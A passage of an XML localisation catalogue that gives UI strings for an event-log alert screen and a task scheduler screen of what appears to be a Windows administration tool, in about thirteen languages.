<it>Tipo di evento</it>
<ru>Тип события</ru>
<ja>イベントの種類</ja>
<zh>事件类型</zh>
<ko>이벤트 형식</ko>
<en-gb>Event Type</en-gb>
<hu>Esemény típusa</hu>
<pt-br>Tipo de evento</pt-br>
<nl>Gebeurtenistype</nl>
</msg>
<msg name="EVTSRC">
<en>Event Source</en>
<de>Ereignisquelle</de>
<es>Origen del suceso</es>
<fr>Source d'Evénement</fr>
<it>Origine dell'evento</it>
<ru>Источник события</ru>
<ja>イベント ソース</ja>
<zh>事件源</zh>
<ko>이벤트 원본</ko>
<en-gb>Event Source</en-gb>
<hu>Eseményforrás</hu>
<pt-br>Origem do evento</pt-br>
<nl>Bron van gebeurtenis</nl>
</msg>
<msg name="EVTCAT">
<en>Event Category</en>
<de>Ereigniskategorie</de>
<es>Categoría del suceso</es>
<fr>Catégorie d'Evénement</fr>
<it>Categoria di evento</it>
<ru>Категория события</ru>
<ja>イベント カテゴリ</ja>
<zh>事件类别</zh>
<ko>이벤트 범주</ko>
<en-gb>Event Category</en-gb>
<hu>Esemény kategóriája</hu>
<pt-br>Categoria do evento</pt-br>
<nl>Gebeurteniscategorie</nl>
</msg>
<msg name="EVTID">
<en>Event ID</en>
<de>Ereignis ID</de>
<es>ID de suceso</es>
<fr>ID d'Evénement</fr>
<it>ID evento</it>
<ru>ИД события</ru>
<ja>イベント ID</ja>
<zh>事件 ID</zh>
<ko>이벤트 ID</ko>
<en-gb>Event ID</en-gb>
<hu>Esemény azonosítója</hu>
<pt-br>ID do evento</pt-br>
<nl>Gebeurtenis-ID</nl>
</msg>
<msg name="EVTLOG">
<en>Event Log name</en>
<de>Name des Ereignisprotokolls</de>
<es>Nombre del registro de sucesos</es>
<fr>Nom de la Notification d'Evénements</fr>
<it>Nome registro eventi</it>
<ru>Имя журнала событий</ru>
<ja>イベント ログ名</ja>
<zh>事件日志名称</zh>
<ko>이벤트 로그 이름</ko>
<en-gb>Event Log Name</en-gb>
<hu>Eseménynapló neve</hu>
<pt-br>Nome do log de evento</pt-br>
<nl>Naam van gebeurtenislogboek</nl>
</msg>
<msg name="EMAIL">
<en>Email</en>
<de>Email</de>
<es>Correo electrónico</es>
<fr>Email</fr>
<it>E-mail</it>
<ru>Электронная почта</ru>
<ja>電子メール</ja>
<zh>电子邮件</zh>
<ko>전자 메일</ko>
<en-gb>E-mail</en-gb>
<hu>E-mail</hu>
<pt-br>Email</pt-br>
<nl>E-mail</nl>
</msg>
<msg name="NOTE">
<en>Wildcards are allowed in the event source and category
fields. Leave the fields empty if you don't want to filter by event
source and category. If you're interested in a specific event, enter
its number in the event ID field, otherwise use zero.</en>
<de>Anmerkung: In den Feldern für Ereignisquelle und Kategorie sind
Platzhalter erlaubt. Belassen Sie die Felder unausgefüllt, falls Sie nicht
nach Ereignisquelle und/oder Kategorie filtern wollen. Um über das
Eintreten eines bestimmten Ereignisses benachrichtigt zu werden, geben
Sie die Ereignis-ID in das Feld "Ereignis-ID" ein, ansonsten verwenden Sie 0.</de>
<es>Se permite utilizar comodines en los campos fuente del suceso y categoría
del suceso. Si no desea filtrar por fuente del suceso y categoría del suceso, 
deje los campos vacíos. Si está interesado en un suceso específico, introduzca
su número en el campo ID de suceso; si no, introduzca el cero.</es>
<fr>Des caractères spéciaux sont autorisés dans les champs de source
et de catégorie d'événement.Laissez les champs vides si vous ne voulez pas
filtrer par source ou par catégorie d'événement. Si vous êtes intéressé par un
événement spécifique, écrivez son numéro dans le champ id d'événement,
autrement écrivez zéro.</fr>
<it>Nei campi Origine dell'evento e Categoria di evento sono consentiti i caratteri jolly. Lasciare vuoti i campi se non si desidera applicare il filtro per origine dell'evento e categoria di evento. Per informazioni su un evento specifico, immettere il relativo numero nel campo ID evento, altrimenti utilizzare il numero zero.</it>
<ru>В полях источника события и категории можно использовать постановочные знаки. Оставьте поля пустыми, если не требуется фильтровать по источнику события или категории. Если интересует конкретное событие, введите его номер в поле "ИД события", в противном случае укажите ноль.</ru>
<ja>イベント ソース フィールドおよびカテゴリ フィールドでは、ワイルドカードが許可されます。イベント ソースおよびカテゴリによるフィルタリングをしない場合は、これらのフィールドを空欄のままにします。特定のイベントに関心がある場合は、イベント ID フィールドにその番号を入力し、そうでない場合は、ゼロを使用します。</ja>
<zh>事件源和类别字段中允许使用通配符。如果不想按事件源和类别进行过滤,请将这些字段留空。如果对特定事件感兴趣,请在此事件 ID 字段中输入其编号,否则输入零。</zh>
<ko>와일드카드 문자가 이벤트 원본 및 범주 필드에 허용됩니다. 이벤트 원본 및 범주 기준으로 필터링하지 않으려면 해당 필드를 비워 두십시오. 특정 이벤트에 관심 있는 경우 이벤트 ID 필드에 해당 번호를 입력하거나 0을 사용하십시오.</ko>
<en-gb>Wildcards are allowed in the event source and category fields. Leave the fields empty if you don't want to filter by event source and category. If you're interested in a specific event, enter its number in the event ID field, otherwise use zero.</en-gb>
<hu>A helyettesítő karakterek engedélyezettek az eseményforrás és kategória
mezőkben. Hagyja a mezőket üresen, ha nem kíván szűrést eseményforrás
és kategória szerint. Amennyiben egy adott esemény érdekli, írja be
annak számát az eseményazonosító mezőbe, vagy írjon be nullát.</hu>
<pt-br>Curingas são permitidos nos campos de categoria e origem 
do evento. Deixe os campos em branco se não desejar filtrar por origem
e categoria de evento. Se tiver interesse em um evento específico, digite
o número do evento no campo ID do evento, caso contrário, use zero.</pt-br>
<nl>Jokertekens zijn toegestaan in de velden voor de gebeurtenisbron en -categorie. Vul niets in het veld in als u niet wilt filteren op de gebeurtenisbron en -categorie. Als u een specifieke gebeurtenis wilt weergeven, voert u het overeenkomstige nummer in het veld voor de gebeurtenis-ID in of geeft u 0 op.</nl>
</msg>
<msg name="NOSMTP">
<en>You need to configure your SMTP server before creating any email alerts.</en>
<de>Meldungen per Email funktionieren nur dann, wenn Sie die Einstellungen für
den SMTP Server konfiguriert haben.</de>
<es>Necesita configurar el servidor SMTP antes de poder crear avisos de correo electrónico.</es>
<fr>Les alertes par email fonctionneront dès que vous aurez configuré votre serveur SMTP.</fr>
<it>Per poter creare avvisi e-mail è necessario configurare il server SMTP.</it>
<ru>Прежде чем создавать оповещения по электронной почте, необходимо настроить SMTP-сервер.</ru>
<ja>どのような電子メール アラートを作成する前にも、SMTP サーバーの設定をする必要があります。</ja>
<zh>您需要在创建任何电子邮件警报之前配置 SMTP 服务器。</zh>
<ko>전자 메일 경고를 만들기 전에 SMTP 서버를 구성해야 합니다.</ko>
<en-gb>You need to configure your SMTP server before creating any e-mail alerts.</en-gb>
<hu>Konfigurálnia kell az SMTP kiszolgálót az e-mail riasztások létrehozása előtt.</hu>
<pt-br>É necessário configurar seu servidor SMTP antes de criar alertas de email.</pt-br>
<nl>U moet uw SMTP-server configureren voordat u waarschuwingsmeldingen via e-mail maakt.</nl>
</msg>
</cat>
<!-- ADMIN.SCHEDULE "task scheduler" screen messages -->
<cat name="SCHEDULE">
<msg name="TITLE">
<en>Task Scheduler</en>
<de>Geplante Tasks</de>
<es>Programador de tareas</es>
<fr>Tâches Planifiées</fr>
<it>Utilità di pianificazione</it>
<ru>Планировщик заданий</ru>
<ja>タスク スケジューラ</ja>
<zh>任务计划程序</zh>
<ko>작업 스케줄러</ko>
<en-gb>Task Scheduler</en-gb>
<hu>Feladatütemező</hu>
<pt-br>Agendador de tarefa</pt-br>
<nl>Taakplanner</nl>
</msg>
<msg name="SVCNOTE">
<en>The %SERVICE.DISPLAY service must be started, otherwise, tasks cannot
be scheduled and scheduled tasks will not be executed.</en>
<de>Achtung: Der %SERVICE.DISPLAY Dienst muss aktiv sein. Ansonsten können
keine Aufträge geplant werden und geplante Aufträge nicht ausgeführt werden.</de>
<es>El servicio %SERVICE.DISPLAY debe estar iniciado, de lo contrario, no se podrán
programar las tareas, y las ya programadas no se ejecutarán.</es>
<fr>Le service de %SERVICE.DISPLAY doit être démarré, autrement les tâches
ne pourront pas être planifiées, ni éxécutées</fr>
<it>Per poter pianificare le attività ed eseguire quelle pianificate, è necessario avviare il servizio %SERVICE.DISPLAY.</it>
<ru>Служба %SERVICE.DISPLAY должна быть запущена, в противном случае отсутствует возможность планировать задачи и запускать запланированные задания.</ru>
<ja>%SERVICE.DISPLAY サービスを開始する必要があります。開始しないとタスクをスケジュールできず、スケジュール済みタスクは実行されません。</ja>
<zh>必须启动 %SERVICE.DISPLAY 服务,否则,无法计划任务,并且已计划的任务也不会执行。</zh>
<ko>%SERVICE.DISPLAY 서비스가 시작되어야 하고, 그렇지 않을 경우 작업을 예약할 수 없으며 예약된 작업이 실행되지 않습니다.</ko>
<en-gb>The %SERVICE.DISPLAY service must be started, otherwise, tasks cannot be scheduled and scheduled tasks will not be executed.</en-gb>
<hu>A(z) %SERVICE.DISPLAY szolgáltatást el kell indítani, másképpen a feladatokat nem lehet
ütemezni, és az ütemezett feladatok nem hajtódnak végre.</hu>
<pt-br>O serviço %SERVICE.DISPLAY deve ser iniciado, caso contrário as tarefas não poderão ser
programadas e as tarefas programadas não serão executadas.</pt-br>
<nl>De %SERVICE.DISPLAY-service moet zijn gestart, anders kunnen de taken niet worden gepland en worden de geplande taken niet uitgevoerd.</nl>
</msg>
<msg name="CREDENTIALREQUEST">
<en>Enter user account information for running this task.</en>
<de>Geben Sie zum Ausführen dieser Aufgabe die Benutzerkontendaten ein.</de>
<es>Introduzca la información de la cuenta de usuario para ejecutar esta tarea.</es>
<fr>Entrer les données de compte utilisateur pour exécuter cette tâche.</fr>
<it>Inserisci le informazioni sull'account utente per l'esecuzione di questa attività.</it>
<ru>Введите учетные данные пользователя для выполнения этой задачи.</ru>
<ja>このタスクを実行するには、ユーザー アカウント情報を入力してください。</ja>
<zh>输入用户帐户信息以运行该任务。</zh>
<ko>이 작업을 실행하기 위해 사용자 계정 정보를 입력하십시오.</ko>
<en-gb>Enter user account information for running this task</en-gb>
<hu>Adja meg a felhasználói fiók adatait a feladat futtatásához.</hu>
<pt-br>Insira as informações da conta do usuário para executar esta tarefa.</pt-br>
<nl>Voer gebruikersaccountgegevens in om deze taak uit te voeren.</nl>
</msg>
<msg name="NOTASKS">
<en>There are no tasks scheduled on this computer. Click the "Create new task" button on the toolbar above
to get started.</en>
<de>Es gibt keine geplanten Tasks auf dem Computer. Klicken sie in der Symbolleiste auf "Neuen Task hinzufügen".</de>
<es>No existen tareas programadas en este ordenador. Haga clic en el botón "Crear nueva tarea" en la barra de herramientas de arriba
para comenzar.</es>
<fr>Il y a aucune tâche planifiée sur cet ordinateur. Cliquez le bouton "créer une nouvelle tâche" sur la barre d'outils ci-dessus pour
en créer une nouvelle.</fr>
<it>Nessuna attività pianificata su questo computer. Per iniziare, fare clic sul pulsante "Crea nuova attività" sulla barra degli strumenti.</it>
<ru>На данном компьютере запланированных задач нет. Щелкните кнопку "Создать новую задачу" на расположенной выше панели инструментов, чтобы начать.</ru>
<ja>このコンピュータにスケジュール済みタスクはありません。開始するには、ツールバーの上にある [新しいタスクの作成] ボタンをクリックします。</ja>
<zh>此计算机上没有已计划的任务。单击上面工具栏中的“创建新任务”按钮开始操作。</zh>
<ko>이 컴퓨터에 예약된 작업이 없습니다. 위의 도구 모음에서 "새 작업 만들기" 버튼을 클릭하여 시작하십시오.</ko>
<en-gb>No tasks are scheduled on this computer. Click the "Create new task" button on the toolbar above to get started.</en-gb>
<hu>Ezen a számítógépen nincsenek ütemezett feladatok. Kattintson az "Új feladat létrehozása" gombra a fenti eszköztáron
az indításhoz.</hu>
<pt-br>Não há tarefas programadas neste computador. Clique no botão "Criar nova tarefa" na barra de ferramentas acima
para começar.</pt-br>
<nl>Er zijn geen taken gepland op deze computer. Klik hierboven op de werkbalk op de knop "Nieuwe taak maken" om te beginnen.</nl>
</msg>
<msg name="TASK">
<en>Task</en>
<de>Task</de>
<es>Tarea</es>
<fr>Tâches</fr>
<it>Attività</it>
<ru>Задача</ru>
<ja>タスク</ja>
<zh>任务</zh>
<ko>작업</ko>
<en-gb>Task</en-gb>
<hu>Feladat</hu>
<pt-br>Tarefa</pt-br>
<nl>Taak</nl>
</msg>
<msg name="SETTINGS">
<en>Settings</en>
<de>Einstellungen</de>
<es>Configuración</es>
<fr>Paramètres</fr>
<it>Impostazioni</it>
<ru>Параметры</ru>
<ja>設定</ja>
<zh>设置</zh>
<ko>설정</ko>
<en-gb>Settings</en-gb>
<hu>Beállítások</hu>
<pt-br>Configurações</pt-br>
<nl>Instellingen</nl>
</msg>
<msg name="CREATE">
<en>Create new task</en>
<de>Neuen Task hinzufügen</de>
<es>Crear nueva tarea</es>
<fr>Créer une nouvelle tâche</fr>
<it>Crea nuova attività</it>
<ru>Создать новую задачу</ru>
<ja>新しいタスクの作成</ja>
<zh>创建新任务</zh>
<ko>새 작업 만들기</ko>
<en-gb>Create new task</en-gb>
<hu>Új feladat létrehozása</hu>
<pt-br>Criar nova tarefa</pt-br>
<nl>Nieuwe taak maken</nl>
</msg>
<msg name="LASTRUN">
<en>Last Run</en>
<de>Letzte Laufzeit</de>
<es>Ejecutado por última vez</es>
<fr>Dernière Exécution</fr>
<it>Ultima esecuzione</it>
<ru>Время последнего запуска</ru>
<ja>前回の実行</ja>
<zh>上次运行</zh>
<ko>마지막 실행</ko>
<en-gb>Last Run</en-gb>
<hu>A legutóbbi futás ideje</hu>
<pt-br>Última execução</pt-br>
<nl>Laatste keer gestart</nl>
</msg>
<msg name="NEXTRUN">
<en>Next Run</en>
<de>Nächste Laufzeit</de>
<es>Siguiente ejecución</es>
<fr>Prochaine Exécution</fr>
<it>Esecuzione successiva</it>
<ru>Время следующего запуска</ru>
<ja>次の実行</ja>
<zh>下次运行</zh>
<ko>다음 실행</ko>
<en-gb>Next Run</en-gb>
<hu>A következő futás ideje</hu>
<pt-br>Próxima execução</pt-br>
<nl>Volgende keer starten</nl>
</msg>
<msg name="STATUS">
<en>Status</en>
<de>Status</de>
<es>Estado</es>
<fr>Statut</fr>
<it>Stato</it>
<ru>Состояние</ru>
<ja>ステータス</ja>
<zh>状态</zh>
<ko>상태</ko>
<en-gb>Status</en-gb>
<hu>Állapot</hu>
<pt-br>Status</pt-br>
<nl>Status</nl>
</msg>
<msg name="EXIT">
<en>Exit code</en>
<de>Letztes Ergebnis</de>
<es>Código de salida</es>
<fr>Code de Sortie</fr>
<it>Codice di uscita</it>
<ru>Код выхода</ru>
<ja>終了コード</ja>
<zh>退出代码</zh>
<ko>종료 코드</ko>
<en-gb>Exit code</en-gb>
<hu>Kilépési kód</hu>
<pt-br>Código de saída</pt-br>
<nl>Afsluitcode</nl>
</msg>
<msg name="CREATOR">
<en>Creator</en>
<de>Ersteller</de>
<es>Creado por</es>
<fr>Auteur</fr>
<it>Autore</it>
<ru>Создатель</ru>
<ja>作成者</ja>
<zh>生成器</zh>
<ko>만든 사람</ko>
<en-gb>Creator</en-gb>
<hu>Létrehozó</hu>
<pt-br>Criador</pt-br>
<nl>Maker</nl>
</msg>
<msg name="TRIGGERS">
<en>Triggers</en>
<de>Triggers</de>
<es>Triggers</es>
<fr>Déclanché</fr>
<it>Trigger</it>
<ru>Триггеры</ru>
<ja>トリガー</ja>
<zh>触发器</zh>
<ko>트리거</ko>
<en-gb>Triggers</en-gb>
<hu>Eseményindítók</hu>
<pt-br>Disparadores</pt-br>
<nl>Triggers</nl>
</msg>
<msg name="RUN">
<en>Run</en>
<de>Ausführen</de>
<es>Ejecutar</es>
<fr>Exécution</fr>
<it>Esegui</it>
<ru>Запустить</ru>
<ja>実行</ja>
<zh>运行</zh>
<ko>실행</ko>
<en-gb>Run</en-gb>
<hu>Futtatás</hu>
<pt-br>Executar</pt-br>
<nl>Starten</nl>
</msg>
<msg name="PARAM">
<en>Parameters</en>
<de>Parameter</de>
<es>Parámetros</es>
<fr>Paramètres</fr>
<it>Parametri</it>
<ru>Параметры</ru>
<ja>パラメータ</ja>
<zh>参数</zh>
<ko>매개 변수</ko>
<en-gb>Parameters</en-gb>
<hu>Paraméterek</hu>
<pt-br>Parâmetros</pt-br>
<nl>Parameters</nl>
</msg>
<msg name="DIR">
<en>Start in</en>
<de>Ausführen in</de>
<es>Iniciar en</es>
<fr>Démmarer dans</fr>
<it>Avvia in</it>
<ru>Запустить в</ru>
<ja>起動</ja>
<zh>开始位置</zh>
<ko>시작 위치</ko>
<en-gb>Start in</en-gb>
<hu>Kezdés itt</hu>
<pt-br>Iniciar em</pt-br>
<nl>Starten in</nl>
</msg>
<msg name="COMMENT">
<en>Comment</en>
<de>Kommentar</de>
<es>Comentario</es>
<fr>Commentaire</fr>
<it>Commento</it>
<ru>Комментарий</ru>
<ja>コメント</ja>
<zh>注释</zh>
<ko>주석</ko>
<en-gb>Comment</en-gb>
<hu>Megjegyzés</hu>
<pt-br>Comentários</pt-br>
<nl>Opmerking</nl>
</msg>
<msg name="RUNAS">
<en>Run as</en>
<de>Ausführen als</de>
<es>Ejecutar como</es>
<fr>Exécuté comme</fr>
<it>Esegui come</it>
<ru>Запустить от имени</ru>
<ja>実行名</ja>
<zh>运行身份</zh>
<ko>다음 계정으로 실행</ko>
<en-gb>Run as</en-gb>
<hu>Futtatás mint</hu>
<pt-br>Executar como</pt-br>
<nl>Uitvoeren als</nl>
</msg>
<msg name="MAXTIME">
<en>Maximum allowed running time</en>
<de>Maximal zugelassene Laufzeit</de>
<es>Tiempo de funcionamiento máximo permitido</es>
<fr>Nombre maximum d'éxécution</fr>
<it>Durata massima dell'esecuzione</it>
<ru>Максимально разрешенное время выполнения</ru>
<ja>実行時間の上限</ja>
<zh>最大允许运行时间</zh>
<ko>허용되는 최대 실행 시간</ko>
<en-gb>Maximum allowed running time</en-gb>
<hu>Maximálisan engedélyezett futási idő</hu>
<pt-br>Tempo de execução máximo permitido</pt-br>
<nl>Maximaal toegestane uitvoeringstijd</nl>
</msg>
<cat name="FLAGS">
<msg name="ENABLED">
<en>Enabled</en>
<de>Aktiviert</de>
<es>Habilitado</es>
<fr>Activé</fr>
<it>Attivato</it>
<ru>Включено</ru>
<ja>有効</ja>
<zh>已启用</zh>
<ko>사용</ko>
<en-gb>Enabled</en-gb>
<hu>Bekapcsolva</hu>
<pt-br>Habilitado</pt-br>
<nl>Ingeschakeld</nl>
</msg>
<msg name="DROPDONE">
<en>Delete when there are no more scheduled run times</en>
<de>Löschen, wenn keine weiteren Aufgaben zur Ausführung geplant sind.</de>
<es>Eliminar cuando no haya más horas programadas para ejecutar</es>
<fr>Supprimer lorsqu'il n'y a plus de temps d'éxécution planifié.</fr>
<it>Elimina quando non ci sono più tempi di esecuzione pianificati</it>
<ru>Удалить при отсутствии запусков по расписанию.</ru>
<ja>スケジュールされている実行時間がなくなったら削除する</ja>
<zh>在无更多计划运行时间时删除</zh>
<ko>예약된 실행 시간이 더 이상 없는 경우 삭제</ko>
<en-gb>Delete when there are no more scheduled run times</en-gb>
<hu>Törlés, ha nincs több ütemezett futtatási idő</hu>
<pt-br>Excluir quando não houver mais tempos de execução programados</pt-br>
<nl>Verwijderen als er geen starten van service meer is gepland</nl>
</msg>
<msg name="ONLYIFON">
<en>Run only if the user is logged on</en>
<de>Nur ausführen, wenn der Benutzer angemeldet ist</de>
<es>Ejecutar sólo si el usuario ha iniciado sesión</es>
<fr>Exécuter seulement si l'utilisateur est connecté.</fr>
<it>Esegui solo se l'utente ha effettuato l'accesso</it>
<ru>Запустить, только если данный пользователь вошел в систему</ru>
<ja>ユーザがログインしているときのみ実行する</ja>
<zh>仅当用户登录时运行</zh>
<ko>사용자가 로그온된 경우에만 실행</ko>
<en-gb>Run only if the user is logged on</en-gb>
<hu>Futtatás csak akkor, ha a felhasználó be van jelentkezve</hu>
<pt-br>Executar somente se o usuário estiver conectado</pt-br>
<nl>Alleen starten als de gebruiker is aangemeld</nl>
</msg>
<msg name="INTERACT">
<en>Interactive</en>
<de>Interaktiv</de>
<es>Interactivo</es>
<fr>Interactif</fr>
<it>Interattivo</it>
<ru>Интерактивный</ru>
<ja>インタラクティブ</ja>
<zh>交互</zh>
<ko>대화형</ko>
<en-gb>Interactive</en-gb>
<hu>Interaktív</hu>
<pt-br>Interativo</pt-br>
<nl>Interactief</nl>
</msg>
<msg name="HIDDEN">
<en>Task runs in a hidden window</en>
<de>Der Auftrag wird in einem versteckten Fenster ausgeführt</de>
<es>La tarea se ejecuta en una ventana oculta</es>
<fr>La tâche s'éxécute une fenêtre cachée</fr>
<it>Le attività vengono eseguite in una finestra nascosta</it>
<ru>Задание запущено в скрытом окне</ru>
<ja>非表示のウィンドウでタスクを実行する</ja>
<zh>任务在隐藏窗口中运行</zh>
<ko>숨김 창에서 작업 실행</ko>
<en-gb>Task runs in a hidden window</en-gb>
<hu>A feladat egy rejtett ablakban fut</hu>
<pt-br>Tarefas executadas em uma janela oculta</pt-br>
<nl>Taak uitvoeren in een verborgen venster</nl>
</msg>
<msg name="BATTSKIP">
<en>Don't start if running on batteries</en>
<de>Bei Batteriebetrieb nicht starten.</de>
<es>No iniciar si se está en modo batería</es>
<fr>Ne pas éxécuter si le mode d'alimentation est  sur batteries</fr>
<it>Non avviare se l'alimentazione è a batteria</it>
<ru>Не запускать при работе от батарей</ru>
<ja>バッテリーで動作中は開始しない</ja>
<zh>如果使用电池来运行,请勿启动</zh>
<ko>배터리로 실행 중인 경우 시작하지 않음</ko>
<en-gb>Don't start if running on batteries</en-gb>
<hu>Telepes táplálás esetén ne indítsa</hu>
<pt-br>Não inicie se estiver executando com baterias</pt-br>
<nl>De taak niet starten als de computer op een accu werkt</nl>
</msg>
<msg name="BATTKILL">
<en>Stop task when battery mode begins</en>
<de>Task beenden, sobald der Batteriebetrieb startet.</de>
<es>Detener tarea al iniciar modo batería</es>
<fr>Arrêtez l'éxécution de la tâche lorsque le mode d'alimentation va sur les batteries</fr>
<it>Interrompi l'attività quando si passa alla modalità batteria</it>
<ru>Остановить задание при переключении на питание от батарей</ru>
<ja>バッテリー モードが開始されたらタスクを終了する</ja>
<zh>如果启动电池模式,停止任务</zh>
<ko>배터리 모드가 시작되면 작업 중지</ko>
<en-gb>Stop task when battery mode begins</en-gb>
<hu>Feladat leállítása telepes táplálás kezdésekor.</hu>
<pt-br>Interrompa a tarefa quando o modo de bateria começar</pt-br>
<nl>De taak stoppen als de computer overgaat op accumodus</nl>
</msg>
<msg name="IDLEONLY">
<en>Only start if the computer is idle</en>
<de>Auftrag nur im Leerlaufstatus starten</de>
<es>Iniciar sólo si el ordenador está en reposo</es>
<fr>Exécuter seulement lorsque l'ordinateur est innocupé</fr>
<it>Avvia solo se il computer è inattivo</it>
<ru>Запускать только при простое компьютера</ru>
<ja>コンピュータがアイドル状態のときのみ開始する</ja>
<zh>仅在计算机闲置时启动</zh>
<ko>컴퓨터가 유휴 상태인 경우에만 시작</ko>
<en-gb>Only start if the computer is idle</en-gb>
<hu>Csak akkor indítsa, ha a számítógép üresjáratban van</hu>
<pt-br>Só comece se o computador estiver ocioso</pt-br>
<nl>Alleen starten als de computer niet actief is</nl>
</msg>
<msg name="IDLEKILL">
<en>Stop the task if the computer ceases to be idle </en>
<de>Task beenden, wenn Leerlaufstatus verlassen wird</de>
<es>Detener la tarea si el ordenador deja de estar en reposo</es>
<fr>Arrêtez l'éxécution dès que l'ordinateur cesse d'être innocupé</fr>
<it>Interrompi l'attività quando il computer non è più inattivo</it>
<ru>Останавливать задание, если компьютер выходит из состояния простоя</ru>
<ja>コンピュータがアイドル状態から抜けたら、タスクを終了する</ja>
<zh>如果计算机在使用中,停止任务</zh>
<ko>컴퓨터의 유휴 상태가 끝날 경우 작업 중지</ko>
<en-gb>Stop the task if the computer ceases to be idle</en-gb>
<hu>Leállítás, ha a számítógép kilép az üresjáratból</hu>
<pt-br>Interrompa a tarefa se o computador parar para ficar ocioso</pt-br>
<nl>De taak stoppen als de computer weer actief is</nl>
</msg>
<!-- old style (nt4) flags -->
<msg name="TODAY">
<en>Run today</en>
<de>Heute</de>
<es>Ejecutar hoy</es>
<fr>Exécuter aujourd'hui</fr>
<it>Esegui oggi</it>
<ru>Запустить сегодня</ru>
<ja>今日実行する</ja>
<zh>当日运行</zh>
<ko>오늘 실행</ko>
<en-gb>Run today</en-gb>
<hu>Futtatás ma</hu>
<pt-br>Executar hoje</pt-br>
<nl>Vandaag starten</nl>
</msg>
<msg name="REPEAT">
<!-- repeat every N minutes -->
<en>Repeat task</en>
<de>Task wiederholen</de>
<es>Repetir tarea</es>
<fr>Répéter la tâche</fr>
<it>Ripeti attività</it>
<ru>Повторить задание</ru>
<ja>タスクを繰り返す</ja>
<zh>重复任务</zh>
<ko>작업 반복</ko>
<en-gb>Repeat task</en-gb>
<hu>Feladat megismétlése</hu>
<pt-br>Repetir tarefa</pt-br>
<nl>Taak herhalen</nl>
</msg>
</cat>
<msg name="SCHED">
<en>Schedule</en>
<de>Terminplan</de>
<es>Programar</es>
<fr>Planification</fr>
<it>Pianificazione</it>
<ru>Расписание</ru>
<ja>スケジュール</ja>
<zh>计划</zh>
<ko>일정</ko>
<en-gb>Schedule</en-gb>
<hu>Ütemezés</hu>
<pt-br>Programar</pt-br>
<nl>Planning</nl>
</msg>
<msg name="NEW">
<en>New trigger</en>
<de>Neuer Trigger</de>
<es>Nuevo trigger</es>
<fr>Nouveau déclanchement</fr>
<it>Nuovo trigger</it>
<ru>Новый триггер</ru>
<ja>新しいトリガー</ja>
<zh>新触发器</zh>
<ko>새 트리거</ko>
<en-gb>New trigger</en-gb>
<hu>Új eseményindító</hu>
<pt-br>Novo disparador</pt-br>
<nl>Nieuwe trigger</nl>
</msg>
<msg name="STARTD">
<en>Start date (mm.dd.yyyy)</en>
<de>Startdatum (mm.dd.yyyy)</de>
<es>Fecha de inicio (dd.mm.yyyy)</es>
<fr>Date de démarrage (mm.jj.aaaa)</fr>
<it>Data di inizio (mm.gg.aaaa)</it>
<ru>Дата запуска (мм.дд.гггг)</ru>
<ja>開始日 (mm.dd.yyyy)</ja>
<zh>开始日期 (mm.dd.yyyy)</zh>
<ko>시작 날짜(mm.dd.yyyy)</ko>
<en-gb>Start date (mm.dd.yyyy)</en-gb>
<hu>Indítás dátuma (hh.nn.éééé)</hu>
<pt-br>Data de início (mm.dd.aaaa)</pt-br>
<nl>Begindatum (mm-dd-jjjj)</nl>
</msg>
<msg name="STARTT">
<en>Start time</en>
<de>Startzeit</de>
<es>Hora de inicio</es>
<fr>Heure de démarrage</fr>
<it>Ora di avvio</it>
<ru>Время запуска</ru>
<ja>開始時間</ja>
<zh>开始时间</zh>
<ko>시작 시간</ko>
<en-gb>Start time</en-gb>
<hu>Indítás ideje</hu>
<pt-br>Hora de início</pt-br>
<nl>Begintijd</nl>
</msg>
<msg name="ENDD">
<en>End date (mm.dd.yyyy)</en>
<de>Enddatum (mm.dd.yyyy)</de>
<es>Fecha de finalización (dd.mm.yyyy)</es>
<fr>Date de fin (mm.jj.aaa)</fr>
<it>Data di fine (mm.gg.aaaa)</it>
<ru>Дата завершения (дд.мм.гггг)</ru>
<ja>終了日 (mm.dd.yyyy)</ja>
<zh>结束日期 (mm.dd.yyyy)</zh>
<ko>끝 날짜(mm.dd.yyyy)</ko>
<en-gb>End date (mm.dd.yyyy)</en-gb>
<hu>Befejezés dátuma (hh.nn.éééé)</hu>
<pt-br>Data de término (mm.dd.aaaa)</pt-br>
<nl>Einddatum (mm-dd-jjjj)</nl>
</msg>
<msg name="STOP">
<en>If the task is still running, stop at this time</en>
<de>Task beenden, falls er noch ausgeführt wird</de>
<es>Si todavía se está ejecutando la tarea, deténgala en este momento</es>
<fr>Si la tâche est toujours en cours d'éxécution, l'arrêter à cette heure.</fr>
<it>Se l'attività è ancora in esecuzione, interrompi all'ora specificata</it>
<ru>Если данное задание продолжает выполняться, остановите его в это время</ru>
<ja>タスクがまだ実行中の場合は、この時間に停止する</ja>
<zh>如果任务仍在运行,请现在停止</zh>
<ko>작업이 아직 실행되고 있으면 지금은 중지합니다</ko>
<en-gb>If the task is still running, stop at this time</en-gb>
<hu>Ha a feladat még fut, ekkor állítsa le</hu>
<pt-br>Se a tarefa ainda estiver sendo executada, pare agora</pt-br>
<nl>Taak nu stoppen als deze nog wordt uitgevoerd</nl>
</msg>
<msg name="EVERY">
<!-- every N days -->
<en>Every</en>
<de>Jede(n)</de>
<es>Cada</es>
<fr>Toutes les</fr>
<it>Ogni</it>
<ru>Каждые</ru>
<ja>毎</ja>
<zh>每隔</zh>
<ko>간격</ko>
<en-gb>Every</en-gb>
<hu>Minden</hu>
<pt-br>A cada</pt-br>
<nl>Elke</nl>
</msg>
<msg name="XWEEKS">
<en>weeks</en>
<de>Woche(n)</de>
<es>semanas</es>
<fr>semaines</fr>
<it>settimane</it>
<ru>недель</ru>
<ja>週</ja>
<zh>周</zh>
<ko>주</ko>
<en-gb>weeks</en-gb>
<hu>hét</hu>
<pt-br>semanas</pt-br>
<nl>weken</nl>
</msg>
<msg name="XDAY">
<en>day</en>
<de>Tag</de>
<es>día</es>
<fr>jour</fr>
<it>giorno</it>
<ru>день</ru>
<ja>日</ja>
<zh>天</zh>
<ko>일</ko>
<hu>nap</hu>
<pt-br>dia</pt-br>
<nl>dag</nl>
</msg>
<msg name="XDAYS">
<en>days</en>
<de>Tag(e)</de>
<es>días</es>
<fr>jours</fr>
<it>giorni</it>
<ru>дней</ru>
<ja>日</ja>
<zh>天</zh>
<ko>일</ko>
<en-gb>days</en-gb>
<hu>nap</hu>
<pt-br>dias</pt-br>
<nl>dagen</nl>
</msg>
<msg name="XHOUR">
<en>hour</en>
<de>Stunde</de>
<es>hora</es>
<fr>heure</fr>
<it>ora</it>
<ru>час</ru>
<ja>時間</ja>
<zh>小时</zh>
<ko>시</ko>
<hu>óra</hu>
<pt-br>hora</pt-br>
<nl>uur</nl>
</msg>
<msg name="XHOURS">
<en>hours</en>
